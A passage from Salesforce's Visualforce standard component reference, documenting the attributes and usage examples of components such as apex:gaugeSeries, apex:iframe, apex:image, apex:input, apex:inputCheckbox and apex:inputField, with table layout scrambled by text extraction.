The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the form.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the form.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onreset event occurs--that is, if the user clicks the reset button on the form.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global
416
Standard Component Reference apex:gaugeSeries
Attribute Name Attribute Type
onsubmit prependId rendered style styleClass target title
String
Boolean
Boolean
String
String
String
String
Description
The JavaScript invoked if the onsubmit event occurs--that is, if the user clicks the submit button on the form.
Required?
API
Version
Access
10.0
global
A Boolean value that specifies whether or not this form should prepend its ID to the IDs of its child components during the clientid generation process. If not specified, the value defaults to true.
10.0
global
10.0
global A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the form component, used primarily for adding inline CSS styles.
The style class used to display the form component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The name of the frame that displays the response after the form is submitted. Possible values for this attribute include
"_blank", "_parent", "_self", and "_top". You can also specify your own target names by assigning a value to the name attribute of a desired destination.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
10.0
10.0
10.0
10.0
global global global global
apex:gaugeSeries
A data series that shows progress along a specific metric. At a minimum you must specify the fields in the data collection to use as label and value pair for the gauge level to be shown. The readability of a gauge chart benefits when you specify meaningful values for the minimum and maximum along the associated
<apex:axis >
, which must be of type "gauge".
Note: This component must be enclosed within an
<apex:chart >
component. You should put only one
<apex:gaugeSeries > in a chart.
Example
<!-- Page: -->
<apex:chart height= "250" width= "450" animate= "true" legend= "true" data= "{!data}" >
<apex:axis type= "gauge" position= "left" margin= "-10" minimum= "0" maximum= "100" steps= "10" />
<apex:gaugeSeries dataField= "data1" highlight= "true" tips= "true" donut= "25" colorSet= "#F49D10, #ddd" >
<apex:chartLabel display= "over" />
</apex:gaugeSeries >
</apex:chart >
417
Standard Component Reference apex:iframe
Attributes
Attribute Name Attribute Type
colorSet dataField donut highlight id labelField needle rendered rendererFn tips
String
String
Integer
Boolean
String
String
Boolean
Boolean
String
Boolean
Description
A set of color values used as the gauge level fill colors. Colors are specified as HTML-style (hexadecimal) colors, and should be comma separated. For example,
#00F,#0F0
.
Required?
API
Version
Access
26.0
26.0
The field in the records provided in the chart data from which to retrieve the data value for the gauge level. Only the first record is used.
Yes
An integer representing the radius of the hole to place in the center of the gauge chart, as a percentage of the radius of the gauge. The default of 0 creates a gauge chart with no hole, that is, a half-circle.
A Boolean value that specifies whether each gauge level should be highlighted when the mouse pointer passes over it. If not specified, this value defaults to true.
26.0
26.0
26.0
global An identifier that allows the chart component to be referenced by other components on the page.
The field in the records provided in the chart data from which to retrieve the label for the gauge level. Only the first record is used. If not specified, this value defaults to "name".
A Boolean value that specifies whether to show the gauge needle or not. Defaults to false, don't show the needle.
A Boolean value that specifies whether the chart series is rendered in the chart. If not specified, this value defaults to true.
A string that specifies the name of a JavaScript function that augments or overrides how gauge elements are rendered.
Implement to provide additional styling or to augment data.
A Boolean value that specifies whether to display a tooltip for the gauge level when the mouse pointer passes over it. The format of the tip is <labelField>: <dataField>. If not specified, this value defaults to true.
23.0
26.0
26.0
26.0
26.0
apex:iframe
A component that creates an inline frame within a Visualforce page. A frame allows you to keep some information visible while other information is scrolled or replaced.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<iframe >
tag.
418
Standard Component Reference apex:image
Example
<apex:iframe src= "http://www.salesforce.com" scrolling= "true" id= "theIframe" />
The example above renders the following HTML:
<iframe height= "600px" id= "theIframe" name= "theIframe" src= "http://www.salesforce.com" width= "100%" > </iframe >
Attributes
Attribute Name Attribute Type
frameborder height id rendered scrolling src title width
Boolean
String
String
Boolean
Boolean
String
String
String
Description
A Boolean value that specifies whether a border should surround the inline frame. If not specified, this value defaults to false.
Required?
API
Version
Access
10.0
global
The height of the inline frame, expressed either as a percentage of the total available vertical space (for example height="50%"), or as the number of pixels (for example, height="300px"). If not specified, this value defaults to 600px.
10.0
global
10.0
global An identifier that allows the inline frame component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether the inline frame can be scrolled. If not specified, this value defaults to true.
10.0
10.0
global global
The URL that specifies the initial contents of the inline frame.
This URL can either be an external website, or another page in the application.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The width of the inline frame, expressed either as a percentage of the total available horizontal space (for example width="80%"), or as the number of pixels (for example, width="600px").
10.0
10.0
10.0
global global global
apex:image
A graphic image, rendered with the HTML
<img >
tag.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<img >
tag.
419
Standard Component Reference apex:image
Example
<apex:image id= "theImage" value= "/img/myimage.gif" width= "220" height= "55" />
The example above renders the following HTML:
<img id= "theImage" src= "/img/myimage.gif" width= "220" height= "55" />
Resource Example
<apex:image id= "theImage" value= "{!$Resource.myResourceImage}" width= "200" height= "200" />
The example above renders the following HTML:
<img id= "theImage" src= "<generatedId>/myResourceImage" width= "200" height= "200" />
Zip Resource Example
<apex:image url= "{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width= "50" height= "50"
/>
The example above renders the following HTML:
<id="theImage" src= "[generatedId]/images/Bluehills.jpg" width= "50" height= "50" />
Attributes
Attribute Name Attribute Type
alt dir height id ismap
String
String
String
String
Boolean
Description
An alternate text description of the image, used for Section
508 compliance.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
Required?
API
Version
Access
10.0
global
10.0
global
The height at which this image should be displayed, expressed either as a relative percentage of the total available vertical space (for example, height="50%") or as a number of pixels
(for example, height="100px"). If not specified, this value defaults to the dimension of the source image file.
An identifier that allows the image component to be referenced by other components in the page.
A Boolean value that specifies whether this image should be used as an image map. If set to true, the image component must be a child of a commandLink component. If not specified, this value defaults to false.
10.0
10.0
10.0
global global global
420
Standard Component Reference apex:image
Attribute Name Attribute Type
lang longdesc onclick ondblclick onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup rendered style styleClass title url
String
String
String
String
String
String
String
String
String
String
String
String
Boolean
String
String
String
String
Description
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
A URL that links to a longer description of the image.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the image.
Required?
API
Version
Access
10.0
global
10.0
10.0
global global
10.0
global The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the image twice.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
10.0
10.0
10.0
global global global
10.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the image.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the image.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The style used to display the image component, used primarily for adding inline CSS styles.
The style class used to display the image component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The path to the image displayed, expressed either as a URL or as a static resource or document merge field.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global global
421
Standard Component Reference apex:include
Attribute Name Attribute Type
usemap value width
String
Object
String
Description
The name of a client-side image map (an HTML map element) for which this element provides the image.
Required?
API
Version
Access
10.0
global
10.0
global The path to the image displayed, expressed either as a URL or as a static resource or document merge field.
The width at which this image is displayed, expressed either as a relative percentage of the total available horizontal space
(for example, width="50%") or as a number of pixels (for example, width="100px"). If not specified, this value defaults to the dimension of the source image file.
10.0
global
apex:include
A component that inserts a second Visualforce page into the current page. The entire page subtree is injected into the Visualforce DOM at the point of reference and the scope of the included page is maintained.
If content should be stripped from the included page, use the
<apex:composition >
component instead.
Example
<!-- Page: -->
<apex:page id= "thePage" >
<apex:outputText value= "(page) This is the page." /> <br/ >
<apex:include pageName= "include" />
</apex:page >
<!-- Page: include -->
<apex:page id= "theIncludedPage" >
<apex:outputText value= "(include) This is text from another page." />
</apex:page >
The example above renders the following HTML:
(page) This is the page.
<br/ >
<span id= "thePage:include" >(include) This is text from another page.
</span >
Attributes
Attribute Name Attribute Type
id
String
Description
An identifier that allows the inserted page to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
422
Standard Component Reference apex:includeLightning
Attribute Name
pageName
Attribute Type Description Required?
API
Version
Access
10.0
global ApexPages.PageReference
The Visualforce page whose content should be inserted into the current page. For this value, specify the name of the
Visualforce page or use merge-field syntax to reference a page or PageReference.
Yes rendered
Boolean A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
10.0
global
apex:includeLightning
Includes lightning.out.js from the correct Salesforce domain.
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
apex:includeScript
A link to a JavaScript library that can be used in the Visualforce page. When specified, this component injects a script reference into the
<head >
element of the generated HTML page.
Multiple references to the same script are de-duplicated, making this component safe to use inside an iteration component. This might occur if, for example, you use an
<apex:includeScript >
inside a custom component, and then use that component inside an
<apex:repeat >
iteration.
For performance reasons, you may simply want to use a JavaScript tag before your closing
<apex:page >
tag, rather than this component.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<script >
tag.
Example
<apex:includeScript value= "{!$Resource.example_js}" />
423
Standard Component Reference apex:inlineEditSupport
The example above renders the following HTML:
<script type= 'text/javascript' src= '/resource/1233160164000/example_js' >
Attributes
Attribute Name Attribute Type
id loadOnReady
String
Boolean
Description
An identifier that allows other components in the page to reference the component.
Specify whether the script resource is loaded immediately, or after the document model is constructed. The default value of "false" loads the script immediately. Set to "true" to cause
JavaScript referenced by the component to wait to be loaded until the page is "ready."
Scripts loaded this way will be added to the DOM after the onload
event is triggered, instead of immediately. This event occurs after the DOM is constructed, but might be before child frames or external resources, such as images, have finished loading.
Required?
API
Version
Access
13.0
global
29.0
value
Object The URL to the JavaScript file. This can be a reference to a static resource, a best practice, but can also be a plain URL.
Yes 13.0
global
apex:inlineEditSupport
This component provides inline editing support to
<apex:outputField >
and various container components. In order to support inline editing, this component must also be within an
<apex:form >
tag.
The
<apex:inlineEditSupport >
component can only be a descendant of the following tags:
•
<apex:dataList >
•
<apex:dataTable >
•
<apex:form >
•
<apex:outputField >
•
<apex:pageBlock >
•
<apex:pageBlockSection >
•
<apex:pageBlockTable >
•
<apex:repeat >
See also: the inlineEdit
attribute of
<apex:detail >
424
Standard Component Reference apex:inlineEditSupport
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid contact record in the URL.
For example, if 001D000000IRt53 is the contact ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Contact" >
<apex:form >
<apex:pageBlock mode= "inlineEdit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!edit}" id= "editButton" value= "Edit" />
<apex:commandButton action= "{!save}" id= "saveButton" value= "Save" />
<apex:commandButton onclick= "resetInlineEdit()" id= "cancelButton" value= "Cancel" />
</apex:pageBlockButtons >
<apex:pageBlockSection >
<apex:outputField value= "{!contact.lastname}" >
<apex:inlineEditSupport showOnEdit= "saveButton, cancelButton" hideOnEdit= "editButton" event= "ondblclick" changedStyleClass= "myBoldClass" resetFunction= "resetInlineEdit" />
</apex:outputField >
<apex:outputField value= "{!contact.accountId}" />
<apex:outputField value= "{!contact.phone}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
Attributes
Attribute Name Attribute Type
changedStyleClass disabled event hideOnEdit
String
Boolean
String
Object
Description
The name of a CSS style class used when the contents of a field have changed.
A Boolean value that indicates whether inline editing is enabled or not. If not specified, this value defaults to true.
The name of a standard DOM event, such as ondblclick or onmouseover, that triggers inline editing on a field.
A comma-separated list of button IDs. These buttons hide when inline editing is activated.
Required?
API
Version
Access
21.0
21.0
21.0
21.0
425
Standard Component Reference apex:input
Attribute Name Attribute Type
id rendered resetFunction showOnEdit
String
Boolean
String
Object
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
10.0
global
21.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this defaults to true.
The name of the JavaScript function that is called when values are reset.
21.0
A comma-separated list of button IDs. These buttons display when inline editing is activated.
21.0
apex:input
An HTML5-friendly general purpose input component that adapts to the data expected by a form field. It uses the HTML type
attribute to allow client browsers to display type-appropriate user input widgets, such as a date picker or range slider, or to perform client-side formatting or validation, such as with a numeric range or a telephone number. Use this component to get user input for a controller property or method that does not correspond to a field on a Salesforce object.
This component doesn't use Salesforce styling. Also, since it doesn't correspond to a Salesforce field, or any other data on an object, custom code is required to use the value the user enters.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag.
Example
<apex:input value= "{!inputValue}" id= "theTextInput" />
The example above renders the following HTML:
<input id= "theTextInput" type= "text" name= "theTextInput" />
Attributes
Attribute Name Attribute Type
accesskey alt dir
String
String
String
Description
The keyboard access key that puts the field in focus. When the text box is in focus, a user can select or deselect the field value.
Required?
API
Version
Access
29.0
An alternate text description of the field.
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
29.0
29.0
426
Standard Component Reference apex:input
Attribute Name Attribute Type
disabled id label lang list
Boolean
String
String
String
Object
Description
A Boolean value that specifies whether this text box should be displayed in a disabled state. If set to true, the text box appears disabled. If not specified, this value defaults to false.
Required?
API
Version
Access
29.0
29.0
global An identifier that allows the field component to be referenced by other components in the page.
A text value that allows to display a label next to the control and reference the control in the error message
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
29.0
29.0
A list of auto-complete values to be added to an HTML
<datalist >
block associated with the input field.
The list
attribute is specified as either a comma-delimited static string or a Visualforce expression. An expression can resolve to either a comma-delimited string, or a list of objects.
List elements can be any data type, as long as that type can be coerced to a string, either as an Apex language feature or via a toString()
method.
29.0
onblur onchange onclick ondblclick onfocus onkeydown onkeypress onkeyup onmousedown onmousemove
String
String
String
String
String
String
String
String
String
String
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the field.
The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the field.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the field.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the field twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the field.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
29.0
29.0
29.0
29.0
29.0
29.0
29.0
29.0
29.0
29.0
427
Standard Component Reference apex:input
Attribute Name Attribute Type
onmouseout onmouseover onmouseup rendered required size style styleClass tabindex title type
String
String
String
Boolean
Boolean
Integer
String
String
String
String
String
Description
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the field.
Required?
API
Version
Access
29.0
29.0
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the field.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
29.0
29.0
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this field is a required field. If set to true, the user must specify a value for this field.
If not selected, this value defaults to false.
The width of the input field, as expressed by the number of characters that can display at a time.
The style used to display the input component, used primarily for adding inline CSS styles.
The style class used to display the input component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this field is selected compared to other page components when a user presses the Tab key repeatedly.
This value must be an integer between 0 and 32767, with component 0 being the first component that is selected when a user presses the Tab key.
29.0
29.0
29.0
29.0
29.0
The text to display as a tooltip when the user's mouse pointer hovers over this component.
The HTML5 type
attribute to add to the generated
<input >
element. Valid type
values are:
•
auto
•
date
•
datetime
•
datetime-local
•
month
•
week
•
time
•
•
number
•
range
29.0
29.0
428
Standard Component Reference apex:inputCheckbox
Attribute Name Attribute Type
value
Object
Description
•
search
•
tel
•
text
•
url
An expression that references the controller class variable that is associated with this field. For example, if the name of the associated variable in the controller class is myTextField, use value="{!myTextField}" to reference the variable.
Required?
API
Version
Access
29.0
apex:inputCheckbox
An HTML input element of type checkbox. Use this component to get user input for a controller method that does not correspond to a field on a Salesforce object.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid opportunity record in the URL.
For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
<apex:page standardController= "Opportunity" recordSetVar= "opportunities" tabstyle= "opportunity" >
<apex:form id= "changePrivacyForm" >
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!opportunities}" var= "o" >
<apex:column value= "{!o.name}" />
<apex:column value= "{!o.account.name}" />
<apex:column headerValue= "Private?" >
<apex:inputCheckbox value= "{!o.isprivate}" />
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
</apex:form >
</apex:page >
429
Standard Component Reference apex:inputCheckbox
The example above renders the following HTML:
<!-- allows you to change the privacy option of your opportunity -->
<form id= "j_id0:changePrivacyForm" name= "j_id0:changeStatusForm" method= "post" action= "/apex/sandbox" enctype= "application/x-www-form-urlencoded" >
<!-- opening div tags -->
<table border= "0" cellpadding= "0" cellspacing= "0" >
<tr >
<td class= "pbTitle" > </td >
<td id= "j_id0:changePrivacyForm:j_id1:j_id29" class= "pbButton" >
<input type= "submit" name= "j_id0:changePrivacyForm:j_id1:j_id29:j_id30" value= "Save" class= "btn" />
</td >
</tr >
</table >
<div class= "pbBody" >
<table class= "list" border= "0" cellpadding= "0" cellspacing= "0" >
<colgroup span= "3" />
<thead >
<tr class= "headerRow " >
<th class= "headerRow " scope= "col" >Opportunity Name </th >
<th class= "headerRow " scope= "col" >Account Name </th >
<th class= "headerRow " scope= "col" >Privacy?
</th >
</tr >
</thead >
<tbody >
<tr class= "dataRow even first " >
<td class= "dataCell" > <span >Burlington Textiles Weaving Plant
Generator </span > </td >
<td class= "dataCell" > <span >Burlington Textiles Corp of
America </span > </td >
<td class= "dataCell" > <input type= "checkbox" name= "j_id0:changePrivacyForm:j_id1:j_id31:0:j_id35" checked= "checked" /> </td >
</tr >
<tr class= "dataRow odd last " >
<td class= "dataCell" > <span >Edge Emergency Generator </span > </td >
<td class= "dataCell" > <span >Edge Communications </span > </td >
<td class= "dataCell" > <input type= "checkbox" name= "j_id0:changePrivacyForm:j_id1:j_id31:0:j_id35" checked= "checked" /> </td >
</tr >
</tbody >
</table >
</div >
<!-- closing div tags -->
</form >
430
Standard Component Reference apex:inputCheckbox
Attributes
Attribute Name Attribute Type
accesskey dir disabled id immediate label lang onblur onchange onclick ondblclick onfocus onkeydown onkeypress
String
String
Boolean
String
Boolean
String
String
String
String
String
String
String
String
String
Description
The keyboard access key that puts the checkbox in focus.
When the checkbox is in focus, a user can select or deselect the checkbox value.
Required?
API
Version
Access
10.0
global
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or
"LTR" (left to right).
A Boolean value that specifies whether this checkbox should be displayed in a disabled state. If set to true, the checkbox appears disabled. If not specified, this value defaults to false.
10.0
10.0
global global
An identifier that allows the checkbox component to be referenced by other components in the page.
A Boolean value that specifies whether the action associated with this component should happen immediately, without processing any validation rules associated with the fields on the page. If set to true, the action happens immediately and validation rules are skipped. If not specified, this value defaults to false.
A text value that allows to display a label next to the control and reference the control in the error message
10.0
11.0
23.0
global global
The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specifications .
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the checkbox.
The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the checkbox field.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the checkbox.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the checkbox twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the checkbox.
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global global
431
Standard Component Reference apex:inputCheckbox
Attribute Name Attribute Type
onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup onselect rendered required selected style styleClass tabindex title value
String
String
String
String
String
String
String
Boolean
Boolean
Boolean
String
String
String
String
Object
Description
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
Required?
API
Version
Access
10.0
global
10.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
10.0
global
10.0
global The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the checkbox.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the checkbox.
The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onselect event occurs--that is, if the user selects the checkbox.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this checkbox is a required field. If set to true, the user must specify a value for this checkbox. If not selected, this value defaults to false.
A Boolean value that specifies whether this checkbox should be rendered in its "checked" state. If not selected, this value defaults to false.
The style used to display the inputCheckbox component, used primarily for adding inline CSS styles.
10.0
10.0
10.0
10.0
10.0
10.0
10.0
global global global global global global global
The style class used to display the inputCheckbox component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.
The order in which this checkbox is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and
32767, with component 0 being the first component that is selected when a user presses the Tab key.
The text to display as a tooltip when the user's mouse pointer hovers over this component.
A merge field that references the controller class variable that is associated with this checkbox. For example, if the name of
10.0
10.0
10.0
10.0
global global global global
432
Standard Component Reference apex:inputField
Attribute Name Attribute Type Description
the associated variable in the controller class is myCheckbox, use value="{!myCheckbox}" to reference the variable.
Required?
API
Version
Access apex:inputField
An HTML input element for a value that corresponds to a field on a Salesforce object. The
<apex:inputField >
component respects the attributes of the associated field, including whether the field is required or unique, and the user interface widget to display to get input from the user. For example, if the specified
<apex:inputField >
component is a date field, a calendar input widget is displayed. When used in an
<apex:pageBlockSection >
,
<apex:inputField >
tags always display with their corresponding output label.
Note that if custom help is defined for the field in Setup, the field must be a child of an
<apex:pageBlock >
or
<apex:pageBlockSectionItem >
, and the Salesforce page header must be displayed for the custom help to appear on your
Visualforce page. To override the display of custom help, use the
<apex:inputField >
in the body of an
<apex:pageBlockSectionItem >
.
Consider the following when using DOM events with this tag:
•
For lookup fields, mouse events fire on both the text box and graphic icon
•
For multi-select picklists, all events fire, but the DOM ID is suffixed with
_unselected
for the left box,
_selected
for the right box, and
_right_arrow
and
_left_arrow
for the graphic icons
•
For rich text areas, no events fire.
Note:
•
Read-only fields, and fields for certain Salesforce objects with complex automatic behavior, such as
Event.StartDateTime
and
Event.EndDateTime
, don't render as editable when using
<apex:inputField >
. Use a different input component such as
<apex:inputText >
instead.
•
An
<apex:inputField >
component for a rich text area field can't be used for image uploads in Site.com sites or Force.com
Sites due to security constraints. If you want to enable users to upload image files in either of those contexts, use an
<apex:inputFile >
component.
•
If custom help is defined for the field in Setup, the field must be a child of an
<apex:pageBlock >
or
<apex:pageBlockSectionItem >
, and the Salesforce page header must be displayed for the custom help to appear on your Visualforce page. To override the display of custom help, use the
<apex:inputField >
in the body of an
<apex:pageBlockSectionItem >
.
Beginning with API version 20.0, an inputField matched to a field with a default value has the default value prepopulated on the Visualforce page.
This component supports HTML pass-through attributes using the "html-" prefix. Pass-through attributes are attached to the generated
<input >
tag.
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL.
For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53
See the Visualforce Developer's Guide Quick Start Tutorial for more information. -->
433
Standard Component Reference
<apex:page standardController= "Account" >
<apex:form >
<apex:pageBlock title= "My Content" mode= "edit" >
<apex:pageBlockButtons >
<apex:commandButton action= "{!save}" value= "Save" />
</apex:pageBlockButtons >
<apex:pageBlockSection title= "My Content Section" columns= "2" >
<apex:inputField value= "{!account.name}" />
<apex:inputField value= "{!account.site}" />
<apex:inputField value= "{!account.type}" />
<apex:inputField value= "{!account.accountNumber}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page > apex:inputField
Attributes
Attribute Name Attribute Type
id label list
String
String
Object
Description
An identifier that allows the inputField component to be referenced by other components in the page.
A text value that allows you to override the default label that is displayed for the field. You can set label to an empty string to hide the label on forms. Setting it to null is an error.
Required?
API
Version
Access
10.0
global
23.0
A list of auto-complete values to be added to an HTML
<datalist >
block associated with the input field.
The list
attribute is specified as either a comma-delimited static string or a Visualforce expression. An expression can resolve to either a comma-delimited string, or a list of objects.
List elements can be any data type, as long as that type can be coerced to a string, either as an Apex language feature or via a toString()
method.
29.0
onblur onchange onclick ondblclick onfocus
String
String
String
String
String
The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the field.
The JavaScript invoked if the onchange event occurs--that is, if the user changes the content of the field.
The JavaScript invoked if the onclick event occurs--that is, if the user clicks the field.
The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the field twice.
The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the field.
12.0
12.0
12.0
12.0
12.0
global global global global global
434
Standard Component Reference apex:inputField
Attribute Name Attribute Type
onkeydown onkeypress onkeyup onmousedown onmousemove onmouseout onmouseover onmouseup onselect rendered required showDatePicker
String
String
String
String
String
String
String
String
String
Boolean
Boolean
Boolean
Description
The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key.
Required?
API
Version
Access
12.0
global
12.0
global The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key.
The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
12.0
global
12.0
global The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer.
The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the field.
The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the field.
12.0
12.0
12.0
global global global
12.0
global The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
The JavaScript invoked if the onselect event occurs--that is, if the user selects a checkbox associated with this field.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
A Boolean value that specifies whether this inputField is a required field. If set to true, the user must specify a value for this field. If not selected, this value defaults to false. Note that if this input field displays a custom object name its value can be set to nil and will not be required unless you set this attribute to true. The same does not apply to standard object names, which are always required regardless of this attribute.
Whether to use the Visualforce date picker for this field, or suppress it in favor of a browser-based date picker.
This attribute only affects date and datetime fields, and activating a browser-based type-appropriate selection widget requires the type
attribute be set to one of these date- or time-compatible types:
•
date
•
datetime
•
datetime-local
•
month
12.0
10.0
10.0
29.0
global global global
435
Standard Component Reference apex:inputField
Attribute Name Attribute Type
style styleClass taborderhint type value
String
String
Integer
String
Object
Description
•
week
•
time
The CSS style used to display the inputField component. This attribute may not work for all values. If your text requires a class name, use a wrapping span tag.
The CSS style class used to display the inputField component.
This attribute may not work for all values. If your text requires a class name, use a wrapping span tag.
A hint to indicate the relative order in which this field is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 1 and 3276, with component 1 being the first component that is selected when a user presses the Tab key.
The HTML5 type
attribute to add to the generated
<input >
element. Valid type
values are:
•
auto
•
date
•
datetime
•
datetime-local
•
month
•
week
•
time
•
•
number
•
range
•
search
•
tel
•
text
•
url
A merge field that references the Salesforce field that is associated with this inputField. For example, if you want to display an input field for an account's name field, use value="{!account.name}". You can't associate this inputField with a formula merge field of type currency if your organization is using dated exchange rates.
Required?
API
Version
Access
12.0
12.0
23.0
29.0
10.0
global global global
436
Standard Component Reference apex:inputFile
apex:inputFile
A component that creates an input field to upload a file.
Note: The maximum file size that can be uploaded via Visualforce is 10 MB.
Example
<!-- Upload a file and put it in your personal documents folder-->
<!-- Page: -->
<apex:page standardController= "Document" extensions= "documentExt" >
<apex:messages />
<apex:form id= "theForm" >
<apex:pageBlock >
<apex:pageBlockSection >
<apex:inputFile value= "{!document.body}" filename= "{!document.name}" />
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
/*** Controller ***/ public class documentExt { public documentExt(ApexPages.StandardController controller) {
